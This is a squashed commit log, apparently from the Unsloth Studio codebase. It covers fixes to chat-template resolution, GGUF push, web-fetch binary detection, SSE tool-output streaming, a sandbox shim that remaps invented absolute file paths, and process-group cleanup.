delete and eviction all refuse to touch future-schema records. Reject
future-schema records on load too.
- The one-time legacy migration enforced the storage budget without protecting
the entries it had just migrated and set the completion flag unconditionally.
When storage was already full of future-schema records (which are unevictable
by an older client), the migrated entries were the only evictable ones and
could be dropped while migration was still marked complete. Protect the
migrated keys during eviction and only mark migration complete when they
survive, so it retries once space frees up.
* Discard chat-template validation results after the dialog closes
Server-side template validation is async, but closing or cancelling the editor
did not abort it, so a late-arriving valid response still called onSave and
applied a template the user had already dismissed. Track a validation token
that is bumped on close and ignore any validation result whose token is stale.
* Record native lease expiry when loading a picked GGUF from the chip
The pending-native-model chip loaded via stageOrLoad directly, bypassing
loadNativeModelIntent, so activeNativePathExpiresAtMs was never recorded for a
chip-loaded file. A later reload then either skipped the lease-expiry guard
entirely (expiry left null) or compared against a previously loaded file's
stale expiry, so reload could reuse an already-pruned token or wrongly block a
still-valid one. Route the chip through loadNativeModelIntent, which builds the
same selection and records the expiry.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Prefer sidecar template for a directly selected local GGUF file
A direct .gguf file path read its embedded chat template without checking the
parent directory for a maintained sidecar (chat_template.jinja /
tokenizer_config.json), while directory and variant selections already prefer
the sidecar. That let the config editor preview or save a stale embedded
template for the same model depending on how it was selected. Check the parent
directory sidecars first, then fall back to the embedded copy, and cover both
paths with tests.
* Resolve cached chat template per revision, newest first
The earlier change searched every cached snapshot for a sidecar before
considering any snapshot's embedded GGUF template, which let an obsolete sidecar
from an older revision override the newest revision's template. Restore
per-snapshot resolution (newest first): a revision's sidecar still supersedes
its own embedded GGUF copy, but a newer revision is no longer overridden by an
older revision's sidecar.
* Preserve autoload transport conflicts and surface background busy downloads
- When a Hub autoload hits a transport conflict, keep pendingHubAutoLoad bound
instead of clearing it. Clearing it re-keyed the download surface and its
cleanup cancelled the conflict the toast tells the user to resolve, so the
Hub resume affordance was gone the moment it appeared. Return early on
conflict, mirroring the started branch, so resolving it from the Hub still
auto-loads on completion.
- The background-download branch handled started and conflict but silently
dropped a busy outcome, leaving the user with no feedback when a peer variant
of the same repo was already downloading. Surface the same busy toast the
autoload path uses.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
* fix(save): unsloth_push_to_hub_gguf(save_method="lora") raises NameError
unsloth_push_to_hub_gguf reads is_main_process at save.py:3181 but never
declares it. Its twin unsloth_save_pretrained_gguf declares it (2783) and
uses it the same way (2839) -- the LoRA branch was copied between the twins,
the parameter it depends on was not. There is no module-level global, so the
name resolves as a global load and the branch raises NameError 100% of the
time.
save_pretrained_gguf(save_method="lora", push_to_hub=True) raises a
ValueError that tells users to "use .push_to_hub_gguf(save_method='lora')
instead" -- the documented escape hatch is the broken call.
Add is_main_process to the signature, positioned as in the twin, and forward
it to unsloth_save_pretrained_gguf on the merged path so the parameter is not
silently ignored there. Default stays True, so nothing changes for existing
callers.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
* fix(save): preserve GGUF push compatibility
---------
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
* Make the Inkling reasoning-effort coercion a module-level helper so duck-typed engine stand-ins keep working
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Align Inkling minimal reasoning effort with the reference implementation (0.1)
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
The permission-levels feature defaults an unset permission_mode to ask on
streaming requests, so the headless smoke probes hang at the approval
prompt until the job timeout. Declare permission_mode full in the tool
probe bodies; the gate itself is covered by unit tests.
* Studio: make sidebar settings cog clickable, opens settings directly
* Studio: truncate long profile names so the settings cog stays visible
* Studio: tighten spacing between profile name and settings cog
* Studio: render settings cog as a sibling button instead of nesting it in the account trigger
* Studio: cap very long names in the welcome greeting
* Studio: hide the Canvas chat menu item by default behind a settings opt-in
* Studio: keep Canvas in the chat menu settings list as the visibility toggle
* Studio: drop the Canvas row description in chat menu settings
* Studio: keep Canvas visible for profiles that pinned it before the visibility flag
* fix(dataprep): smart_chunk_text single-chunk path leaks internal tensor type when eos_token_id is None
RawTextDataLoader.smart_chunk_text()'s single-chunk branch only
converts `tokens` to a plain Python list inside the
`if eos_token_id is not None:` guard. When a tokenizer has no
eos_token_id configured, that conversion is skipped entirely and the
function returns whatever internal tensor-like object came out of
the tokenizer normalization step (e.g. a torch.Tensor) as
"input_ids", instead of a list of ints.
The sibling multi-chunk branch a few lines below does the conversion
unconditionally, before checking eos_token_id -- the two branches of
the same method disagree on output type depending purely on whether
the tokenizer has an EOS token. Downstream, create_causal_dataset()
does `labels = [list(ids) for ids in input_ids]`; list()'ing a
tensor produces a list of 0-d tensor elements rather than plain
ints, inconsistent with every multi-chunk sample and liable to break
type inference in Dataset.from_dict()/downstream collation.
Fix: move the list conversion out of the eos_token_id guard,
matching the multi-chunk branch's existing pattern.
Added test_smart_chunk_text_single_chunk_no_eos_returns_plain_list
to tests/test_raw_text.py, confirmed red against unfixed code
(assertion failure: input_ids was a MockTensor, not a list) and
green after the fix. Full tests/test_raw_text.py (both test
functions) passes. ruff check + the repo's ruff-format-with-kwargs
script: clean.
Note: tests/test_raw_text.py does not appear to be wired into any
.github/workflows/*.yml CI job (a pre-existing repo characteristic,
not something introduced by this change) -- verified locally via
`python3 tests/test_raw_text.py`.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Etherl <61019402+Etherll@users.noreply.github.com>
* Studio: Inkling support fixes (context sizing, tool-call healing, reasoning effort, audio icon)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: reject binary web_search fetches instead of decoding them into replacement chars
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Match web-fetch MIME subtypes exactly and detect control-char binary
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Sniff binary magic bytes and retry undeclared non-UTF-8 pages as text
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden web fetch binary sniffing
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Simplify web fetch binary guard
* Sniff unknown MIME types and handle Latin-1
* Sniff ambiguous Office MIME and prefixed magic
* Decode BOM-marked Unicode web content
* Studio: require ASCII evidence for declared Latin-1/cp1252 web fetches
Latin-1 and cp1252 decode every byte to a printable character, so a high-byte
binary body declared as iso-8859-1/windows-1252 decoded cleanly and slipped
past the control-character binary check. Apply the existing ASCII-structure gate
to those declared decodes as well. Scoped to the Latin family so legitimate
non-Latin single-byte pages (Cyrillic, Greek) are not rejected.
* Revert "Studio: require ASCII evidence for declared Latin-1/cp1252 web fetches"
This reverts commit c7fbec216c.
* Studio: tighten web-fetch binary guard comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Studio: stream live tool output with SSE heartbeats and fix web page extraction
Server-side python/terminal tools now stream incremental stdout to the chat
UI while running (new tool_output SSE event), and every blocking tool
execution emits heartbeat keepalives so reverse proxies (Cloudflare tunnels
cap idle streams at ~100s) cannot drop the connection mid-turn. The tool
loop routes also emit a stall keepalive during silent prompt prefill between
tool iterations. The final role=tool message the model sees is byte-identical
to before, so tool-call parsing, nudging, and healing are untouched.
web_search page fetches now extract main content: GitHub repo root pages are
rewritten to the README API (with HTML fallback), hidden/aria-hidden client
error placeholders are dropped, conversion scopes to article/main, and known
boilerplate fragments are stripped. Non-HTML responses are returned raw
instead of being run through the HTML converter.
The frontend renders live-scrolling tool output inside running python and
terminal cards, and a chat stream that ends without a terminal signal now
surfaces an explicit interrupted state with a Retry action instead of
silently ending the turn.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: fix content-type sniffing, unlimited-timeout drain, and env parity in tool streaming
Content-Type sniffing: get_content_type() defaults to text/plain when the
header is absent, so the sniffing fallback never fired and header-less HTML
came back as raw markup. Report an empty type for a missing header and sniff
the body whenever the declared type is not HTML, so mislabeled text/plain
HTML pages are converted like before the extraction change.
Unlimited timeout drain: with tool_call_timeout disabled the old path used
communicate(timeout=None) and waited for EOF, but the streaming drain capped
the post-exit drain at a 5 second join, truncating output from a grandchild
that holds stdout open. When timeout is None, drain until EOF or the cancel
event fires; finite timeouts keep the bounded remaining-budget join.
Env parity: drop the PYTHONUNBUFFERED=1 injection on the streaming path so
the child invocation is byte-identical with and without streaming (the env
var was model-visible via os.getenv). Live streaming granularity now depends
on the child flushing; unflushed output arrives in ~8 KB chunks or at exit
and the final result is unchanged, with SSE heartbeats covering the gaps.
* Studio: stream tool-call arguments while the model writes them
A model writing a large tool call (a full python game is minutes of
generation) produced nothing on the stream: the structured path
accumulated delta.tool_calls fragments silently after the provisional
card, and the text path's DRAINING state consumed everything until
stream end. The user saw a dead Running spinner while the model was in
fact writing code, and the byte-silent SSE segment was also the window
where proxies drop the connection.
New tool_args SSE events stream the arguments as they generate. The
structured path forwards each fragment once a provisional card exists
(backlog first, so the card starts from the top of the call). The text
path sniffs the drained call for an enabled tool name and streams the
raw call text under the id the stream-end parser assigns its first call
(call_0), so the final tool_start reconciles the same card; the sniff is
gated on enabled names plus the provisional size floor, and prose or
ordinary JSON answers never spawn a card. The safetensors loop streams
the drained render_html call to its existing provisional card the same
way.
The chat adapter accumulates the raw stream per card and feeds a partial
JSON parse (call envelopes and stringified arguments unwrapped) into the
part's args, so the python and terminal cards render the code live and
the render_html canvas builds while streaming; both cards now say
Writing code / Writing command during this phase via useToolArgsStatus.
Display only: the parser input, the executed call, and the conversation
the model sees are byte-identical, covered by new loop-level tests for
the structured path, the text path, and the no-tool JSON answer.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep full tool output visible past the model cap; heal /mnt/data habits
Live testing surfaced two issues in the tool streaming UX.
First, a long python stdout ended in '... (truncated' in the finished
card: the model-visible result is capped by tools._truncate
(_MAX_OUTPUT_CHARS, previously 8000 chars) to protect the context
window, and the card rendered that capped text even though the live
stream had already shown everything. The cap stays (raised to 16000,
overridable via UNSLOTH_TOOL_RESULT_MAX_CHARS) but display and model
concerns are now split: the adapter preserves the accumulated live
stream on tool_end whenever it captured more than the final result, and
the finished python/terminal cards prefer it. The live-stream ceiling
rises from 16 KB to 400 KB (chunks batch per poll, so SSE stays cheap),
and both the live pane and the finished card render only the last 2000
lines with a Show all control so a huge output cannot jank the DOM. The
truncation notice now tells the model the user saw the full output and
that written files persist in the working directory. The final result
string remains byte-identical with and without streaming.
Second, models trained on ChatGPT code-interpreter transcripts write to
/mnt/data, which does not exist here (the sandbox CWD is a per-thread
persistent dir). Three layers, all identical across streaming and
non-streaming paths: the python/terminal tool descriptions gain one
sentence saying to use relative paths in the persistent CWD; a failed
execution whose output shows a missing-file error on a known
code-interpreter prefix (/mnt/data, /mnt/outputs, /home/sandbox,
/workspace) gets a model-visible retry hint appended after truncation
so it always survives; and a sitecustomize shim on the sandbox
PYTHONPATH remaps those prefixes onto the CWD in open()/os.makedirs()
with a one-line stderr notice, covering the python tool and any Python
launched from the terminal tool without touching the exec wrapper (so
tracebacks keep their line numbers). Bash-level file operations cannot
be redirected without root or mount namespaces, so they rely on the
description and the hint.
* Studio: fix hidden-element parsing, heartbeat gaps, and tool output id collisions
Review follow-ups on the tool streaming work:
- _html_to_md: treat any present hidden attribute value as hidden (it is an
enumerated attribute whose invalid value default is the Hidden state, so
hidden="false" is still hidden), and implement HTML5 optional end tags so
an unclosed <p hidden> or <li hidden> ends at the next sibling start tag
instead of swallowing every following sibling until the parent closes
- tool_stream_exec: keep heartbeats flowing after the live-output cap; a
tool that keeps printing past the cap kept the queue non-empty, so neither
tool_output nor heartbeat events were emitted and the SSE stream went
silent past proxy idle timeouts
- routes/inference: forward tool heartbeats before the
disable_parallel_tool_use drop window swallows events, so a dropped call
that executes server-side cannot leave the Anthropic stream silent
- llama_cpp: close the provisional text tool card with a tool_end when the
drained call fails to parse (DRAINING false-positive path), so the card
cannot spin forever while the text is delivered as content
- tools: decode terminal output as utf-8 with errors=replace like the python
tool; invalid bytes used to raise UnicodeDecodeError from communicate() on
the non-streaming path and silently truncate the streaming reader, so the
two paths diverged
- sitecustomize: patch io.open alongside builtins.open; pathlib Path.open,
read_text and write_text call io.open directly and bypassed the remap
- frontend: scope the toolLiveOutput/toolFullOutput store keys by pane
(modelType and pairId) and clear stale entries on tool_start; backend ids
like call_0 repeat across turns and across concurrently streaming panes
(compare mode), so a later turn or another pane could display the wrong
preserved output, and run-end cleanup now clears only its own keys
Each backend fix carries a regression test that fails on the previous code;
the byte-identity tests between streaming and non-streaming stay green.
* Studio: keep tool failure status visible and truncation/remap notices truthful
Finished python/terminal cards preferred the fuller live stream by length
alone, so a tool that printed a lot then timed out or exited non-zero showed
the captured stdout but dropped the final result's status (timeout notice,
Exit code N). preferFullToolOutput now shows the stream when the result is
just its truncated prefix, and appends the result otherwise so the failure
tail always survives and the copy button copies both.
The result truncation notice claimed the user was shown the full output, but
the same wrapper serves non-streaming chat/API and direct execute_tool()
callers where nothing is streamed to anyone. The notice is now mode-neutral
and stays byte-identical with and without an output_callback, keeping the
streaming vs non-streaming invariant intact.
The sandbox sitecustomize shim now remaps /tmp/outputs into the working
directory only while it does not already exist, so a real /tmp/outputs the
user's own code created is never shadowed; /tmp/outputs also joins the
missing-path retry-hint list.
* Studio: suppress hidden void elements and keep live output scroll pinned only when at bottom
* Studio: drop capped tool output without concatenating; remap pathlib mkdir
Past the live-output cap stream_tool_execution built item + _drain_pending()
(the current chunk joined with every queued sibling) only to discard it in the
capped branch, so a chatty tool (yes, a tight print loop) could enqueue far
more than one poll interval of text and blow past the memory/CPU ceiling the
cap exists to enforce. Drain and drop queued items without building a combined
string, still counting each drain toward the heartbeat cadence so the SSE
keepalive survives.
Generated code often prepares code-interpreter paths with
Path('/mnt/data').mkdir(parents=True, exist_ok=True); pathlib drives that
through os.mkdir (not the patched os.makedirs) per component and, on
FileExistsError, probes the unpatched os.stat via Path.is_dir(), so the setup
raised before open() ever ran. Patch os.mkdir with the same remap and patch
Path.mkdir so the whole parents/exist_ok dance lands on the mapped working
directory and stays idempotent; real paths still pass through.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: generalize sandbox write remap and hint to any hallucinated absolute path
Models invent absolute paths from seeing their CWD (a DeepSeek run did
open('/home/ubuntu/Sandbox/flappy_bird.html', 'w') and died with
FileNotFoundError). A prefix list cannot enumerate these, so the sitecustomize
shim gains a write-mode fallback in open()/io.open(): when a write/create-mode
open targets an absolute path outside the CWD whose parent directory does not
exist, redirect it to the basename in the CWD and emit the same one-line stderr
notice, echoing the original path. The prefix remaps still run first (they cover
reads and preserve subpaths); read modes never hit the fallback so real system
files fail or succeed truthfully; bytes paths pass through. The fallback is not
applied to mkdir/makedirs/Path.mkdir, since creating an arbitrary absolute
directory can legitimately succeed on the host, and that decision is documented
in a comment.
The model-visible retry hint now echoes the real failing path (parsed from the
traceback tail) instead of the canned /mnt/data example, and fires for any
absolute path outside the working directory, not just the enumerated prefixes,
while a relative miss still gets no hint.
The shim wrapper still adds one frame to tracebacks that surface open() errors;
suppressing only our frame has no clean standard mechanism (a wrapper always
adds a frame), so the frame is left as an accepted compromise.
Tests: hallucinated absolute write remaps to the CWD basename across w/a/x/w+;
reads of a missing absolute path pass through untouched; writes to an existing
external dir pass through; prefix subpaths still preserved; end-to-end write
fallback lands the file in the sandbox workdir identically with and without
streaming; the hint echoes the actual path for convention and non-convention
absolute paths alike.
* Studio: kill exited process groups on drain; bound the over-cap output batch
_drain_process_output killed the process only via _kill_process_tree, which
short-circuits once the parent has exited, so a grandchild that inherited
stdout and outlived the parent was never signaled: a finite-timeout run could
return while it kept holding the pipe, and a timeout=None cancel left it
behind. Capture the setsid process group before waiting and SIGKILL that group
at both give-up points so the whole tree is torn down.
The streaming wrapper's first over-cap batch joined the current chunk with the
entire pending backlog before enforcing the live-output cap, so a chatty tool
could allocate far past the cap on the crossing batch. Bound the drain to the
remaining budget and drop the surplus in place, keeping the truncated output
byte-identical to joining everything.
* Studio: harden sandbox path healing and process/generator cleanup
Sandbox sitecustomize shim:
- Make the generalized write fallback collision-safe: never redirect an
invented absolute path onto an already-present CWD file (refuse and let the
original open raise FileNotFoundError, preserving the workspace file).
- Only w/a/x create a file; r+/rb+ are read-update modes that require the
target to exist, so a bare + no longer trips the write fallback.
- Gate every convention-prefix remap (/mnt/data, /mnt/outputs, /home/sandbox,
/workspace) on the prefix root being absent, so a real host mount is never
shadowed; a miss under an existing real prefix passes through.
- Patch os.open so Path.touch and other low-level creators heal convention
paths too, matching the Path.mkdir patch.
Local code execution (tools.py):
- Capture the setsid process group right after Popen (before any watcher can
poll/reap the leader) and thread it through the cancel watcher and drain.
- Kill the captured group in the non-streaming python/terminal timeout branch
so an exited leader no longer leaks a stdout-holding grandchild (matches the
streaming drain path).
- Guard os.getpgid/os.killpg by platform so streamed execution no longer
raises on Windows; fall back to single-pid kill.
- Judge missing-path hints against the executor's real workdir so a legitimate
miss inside a project workspace outside the sandbox root is not mislabeled.
Tool streaming routes (routes/inference.py):
- Drain a pending next(gen) worker before closing the generator in the
safetensors and Anthropic tool streams, so a disconnect no longer races
gen.close() (generator already executing) or leaks the thread/generator.
HTML to markdown:
- Only drop boilerplate lines composed entirely of known furniture phrases so
real prose that merely quotes one (for example "we use cookies to
authenticate requests") is preserved.
Adds hermetic tests for each change.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep aside callouts, contain sandbox path remaps, and keepalive dropped Anthropic tool events
_html_to_md: stop dropping <aside> unconditionally. Documentation pages
render notes/warnings/examples as aside admonition callouts; those inside
the selected article/main scope are real content. A furniture aside outside
the scope is already excluded by the main-content pass.
sitecustomize: contain the code-interpreter path remap under the sandbox
CWD. A hallucinated habit path such as /mnt/data/../other_session/file no
longer escapes the per-conversation workdir; parent-traversal components in
the suffix are dropped and a '.'/'..' write-fallback basename is refused.
routes/inference: emit a rate-limited comment keepalive when the Anthropic
Messages stream drops tool_output/tool_args events. A chatty tool keeps the
generator busy so the stall keepalive never fires and the tool wrapper emits
heartbeats only while idle, which left the SSE stream silent past proxy idle
caps; the OpenAI passthrough paths forward these events, this path now keeps
the connection alive.
* Studio: bound the tool-output chunk that first crosses the live cap
_drain_queue joined the entire chunk that first crossed the live-output
cap before dropping the rest, so a single multi-megabyte line (or any
chunk dequeued once the budget was already met at max_chars <= 0) was
materialized in full only to be truncated away, defeating the memory
ceiling the cap enforces. Slice the crossing chunk to one character past
the budget: that preserves the caller's overflow signal and its
byte-identical truncation while dropping the arbitrarily large remainder
in place.
* Studio: scope missing-path hint to the failing line, keepalive dropped-call output, and preserve truncated tool streams over byte length
- tools._missing_path_hint: the code-interpreter convention-prefix trigger
scanned the whole output, so a convention prefix mentioned only in a
traceback frame (a /workspace project root) or printed by the user's code
would add a misleading 'use a relative path' hint even when the actual
FileNotFoundError was a relative or in-workdir path. Scope the convention
test to the failing-path error line(s), matching _extract_missing_abs_path.
- _anthropic_tool_stream: the tool_output/tool_args rate-limited keepalive sat
after the drop_until_tool_end skip, so under disable_parallel_tool_use a
chatty second-or-later tool call was dropped whole with no keepalive, letting
an idle proxy kill the SSE stream. Check the keepalive branch before the drop
skip (like the heartbeat branch) so dropped-call output keeps the stream alive.
- preferFullToolOutput / chat-adapter: a truncated result can be longer than
the live stream by byte count once its footer, an 'Exit code N:' notice, or an
__IMAGES__ base64 tail is appended, so the length-only gate discarded the full
stream and the finished card fell back to the truncated text. Add a shared
truncation-aware shouldPreserveFullOutput used by both the write and read
sites: preserve the stream whenever the result carries the truncation footer.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: skip the habit-path hint for real project paths under a convention prefix
* Kill captured process group on streamed wait-timeout
The streamed drain path's proc.wait() timeout branch only called
_kill_process_tree(proc). If the leader exits in the narrow window between
the wait timing out and _kill_process_tree sampling its pgid, that helper
short-circuits on the reaped leader and a stdout-holding grandchild in the
same group survives. Also kill the captured pgid there, matching the
non-streaming communicate() timeout path. Adds a hermetic regression test
that models the reaped-leader race by stubbing _kill_process_tree.
* Fix 3.10 pathlib write_text remap and honor cancel in finite drain
On Python < 3.11 pathlib routes Path.open / read_text / write_text through
a module-level accessor singleton whose open attribute captured the original
io.open at import time (_NormalAccessor.open = io.open). Patching io.open in
the sandbox shim therefore never reached that captured reference, so a
Path('/mnt/data/x').write_text(...) raised FileNotFoundError on 3.10 while
passing on 3.11+ (which dropped the accessor and calls io.open at call time).
Repoint _NormalAccessor.open at the same io.open wrapper via a staticmethod,
guarded so it is an idempotent no-op on 3.11+. Keep the test save/restore
helpers symmetric so the accessor is restored too, and add a hermetic
write_text/read_text remap test that covers every version.
Also honor cancellation while draining inherited stdout after the leader
exits. Once the leader is reaped the cancel watcher returns (its loop is
while proc.poll() is None), so the finite-timeout drain did one blocking
reader.join(timeout=remaining) that ignored cancel_event and kept draining a
chatty grandchild for the whole budget after a disconnect/Stop. Poll
cancel_event in 0.5s slices against a deadline like the timeout=None branch
and kill the captured process group promptly on cancel. The normal path still
reaches EOF on its own, so the streamed vs non-streamed result is unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: port no-tool stream keepalive/drain and fix subprocess/queue/extraction asymmetries
Streaming no-tool paths now match their tool twins:
- _anthropic_plain_stream, safetensors/MLX no-tool stream, and standard GGUF
no-tool stream run next(gen) in a worker with a timed SSE keepalive loop so a
long prompt prefill cannot leave the stream idle past a proxy cap.
- The Anthropic plain and safetensors/MLX no-tool teardowns now drain the
pending next(gen) worker and close the generator on disconnect instead of
leaking the suspended generator.
Other asymmetries:
- Non-streaming _python_exec/_bash_exec always drain via _drain_process_output
(output_callback may be None) so a cancelled run reaps a stdout-holding
grandchild that outlived the leader instead of blocking in communicate(). The
joined bytes are identical to communicate(), so streamed vs non-streamed
results stay byte-identical.
- _build_bypass_env installs the sitecustomize path shim on PYTHONPATH (prepend,
keeping the operator's entries) so /mnt/data remap works in bypass mode too.
- GGUF forwards output_callback to execute_tool only when the callable accepts
it (shared accepts_output_callback), matching safetensors and preserving
legacy monkey-patched signatures.
- tool_stream_exec bounds accepted live output at the producer boundary so a
chatty tool cannot grow the queue without limit under consumer backpressure
and cannot keep the drain spinning and starve heartbeats.
- html_to_md implicit-close now searches past unclosed inline descendants so a
hidden <p>/<li> is closed by a following block; main-content scoping gates on
the largest single <article>/<main> so a swarm of tiny cards cannot pass the
threshold in aggregate and displace the real main.
- preferFullToolOutput re-attaches the "Exit code N:" prefix to the fuller
stream instead of appending the still-prefixed result, so a failed truncated
tool no longer duplicates its stdout in the finished card.
Adds hermetic tests for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Preserve short live output on timed-out tools; strip inline-CSS-hidden subtrees and score truncated main-content scopes
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten chat tool streaming comments and docstrings
* Keep HTML READMEs from the GitHub API and preserve interrupted tool output
Convert a 200 HTML README body from the GitHub README API to Markdown
instead of discarding it and falling back to the repo page chrome, and
promote captured live stdout to full output when a tool never reaches
tool_end (stream interrupted or cancelled) so the partial diagnostics
stay on the finished card.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: anchor HTML sniff, keep repeated sandbox writes, reuse textual tool ids
Anchor _looks_like_html to the leading doctype/tag so a Markdown README that
opens with a fenced HTML example stays Markdown (no html_to_markdown
corruption), while bare HTML fragments (<body>/<article>/<section>) are still
detected and converted on a missing/wrong Content-Type.
Let the sandbox write fallback re-serve a target it already healed for the same
invented absolute path, so iterative overwrites of a generated artifact stop
failing with FileNotFoundError while the anti-clobber guard still refuses
unrelated same-basename files.
Reconcile the first textual tool call carrying an explicit id onto the open
provisional TEXT card instead of spawning a duplicate card under that id.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: run implicit-close before skipping tags and keep leading README tables as Markdown
A skipped block (<nav>/<footer>) is an HTML5 optional-end-tag closer of an
open <p>, but handle_starttag returned before the implicit-close bookkeeping,
so a never-closed <p hidden> kept its hidden mark and swallowed every following
sibling. Run _close_implicit before the skip decision so the hidden mark is
released and trailing content renders.
Drop <table> (and its <thead>/<tbody>/<tr>/<td>/<th> children) from the
_looks_like_html leading set: Markdown READMEs routinely open with a raw HTML
<table> badge/layout row, and sniffing that as HTML collapsed the whole
Markdown body through html_to_markdown, exactly like the already-excluded
<div align>/<p align> layout headers.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make bypass-permissions Popen double faithful to the unified drain path
The non-streaming _python_exec/_bash_exec now share _drain_process_output,
which reads proc.stdout in a reader thread and calls proc.wait(); the test
double only implemented communicate(), so bypass-mode bash returned an
AttributeError instead of the faked output. Give _FakeProc a readable stdout
pipe (yields the fake line then EOF), wait()/poll()/pid, so the test exercises
the real drain path on both the python and bash bypass branches.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: persist sandbox path heals across runs and suppress nested hidden lists
* Studio: run tool Python child unbuffered (-u) so unflushed prints stream live
A long-running snippet doing bare print() without flush=True never reached
the live-output pane: CPython block-buffers stdout when writing to a pipe, so
_drain_process_output's readline() saw nothing until the buffer filled or the
process exited. Launch the child with the interpreter -u flag so stdout is
unbuffered and each print streams as it is produced.
-u is applied unconditionally on both the streaming and non-streaming path, so
the child invocation stays byte-identical with and without streaming and the
final joined result is unchanged (buffering/timing only). Unlike the earlier
PYTHONUNBUFFERED=1 env injection that was removed, -u does not pollute the
child's os.environ and is not visible via os.getenv.
* Render only the selected main-content subtree in html_to_markdown
The main-content heuristic sized each <article>/<main> candidate
individually to pick the largest subtree, but then rendered every
matching tag in the document. A page with one real article plus
sibling related-post cards or comment threads passed the size gate on
the real article yet still emitted the unrelated siblings.
Size and render the same chosen subtree so only the selected
main-content subtree reaches the output.
* Studio: tighten chat-tool-streaming fix comments
* Studio: store tool-output-scope separators as unicode escapes
The pane-scope and tool-output-key separators were literal NUL (0x00) bytes, which made git treat the file as binary and hide its diff and blame. Write them as \u0000 escapes instead; the runtime key value is unchanged.
* Studio: bound tool-stream teardown when the client disconnects
stream_tool_execution ran its yield loop with no try/finally, so a gen.close() on client disconnect (GeneratorExit at a yield) skipped the worker join and never signalled cancellation. A tool that does not poll cancel_event mid-flight (web_search, MCP, search_knowledge_base) then kept request teardown blocked until the tool's own timeout. Thread the request cancel_event into the wrapper, set it only on the abnormal-exit path so a clean multi-tool turn is unaffected, and bound the worker join to a few seconds; the daemon worker cannot outlive the process.
* Studio: sandbox path remap no longer masks missing reads
The sandbox sitecustomize shim remapped code-interpreter prefixes (/mnt/data, /workspace, ...) onto the working directory for every open mode, including reads. A read of a path that truly did not exist was silently redirected onto a same-basename workdir file instead of raising on the path the model used, hiding real missing-input errors. Remap writes and creates as before, but remap a read only when the mapped workdir target already exists (re-reading a just-written artifact); otherwise keep the original absolute path so the failure stays truthful.
* Studio: bound web fetch with one overall deadline and cancellation
The web fetch applied timeouts per network operation, so a GitHub README API attempt plus its HTML fallback plus up to five redirect hops could run well past the tool timeout, and nothing aborted once the client had disconnected. Add a single wall-clock deadline shared across the API attempt, the fallback, every redirect hop and the body read, cap each hop's socket timeout at the time left on the budget, and poll cancel_event. SSRF host pinning, per-hop redirect revalidation, the five-hop cap and the size cap are unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep tool-stream teardown off the event loop on disconnect
The bounded worker join added for disconnect safety still ran on an abnormal close, so a client disconnect could wait the full join timeout; and the safetensors and Anthropic tool streams closed their generator synchronously on the event loop, unlike the GGUF path. On abnormal exit the daemon worker is abandoned, so join with a zero timeout instead of waiting; offload the safetensors and Anthropic gen.close to a thread to match GGUF; and surface a heartbeat as soon as cancel_event is set while the worker is silent so the route regains control at once instead of after a heartbeat interval.
* Studio: extend the web-fetch deadline to DNS, the body read, and search
The overall fetch deadline did not cover host resolution or the response body read, and query-mode web_search ignored cancellation. Resolve hosts (initial and every redirect) on a budget-polled helper so a slow or pre-cancelled getaddrinfo aborts on time; read the capped body in chunks with the budget re-checked between them so a slow-drip server cannot stretch a single read past the deadline; and gate the blocking DDGS query on cancel_event on both sides. SSRF host pinning, per-hop redirect revalidation, the five-hop cap and the size cap are unchanged.
* Studio: defer the sandbox remap notice and tighten os.open create flags
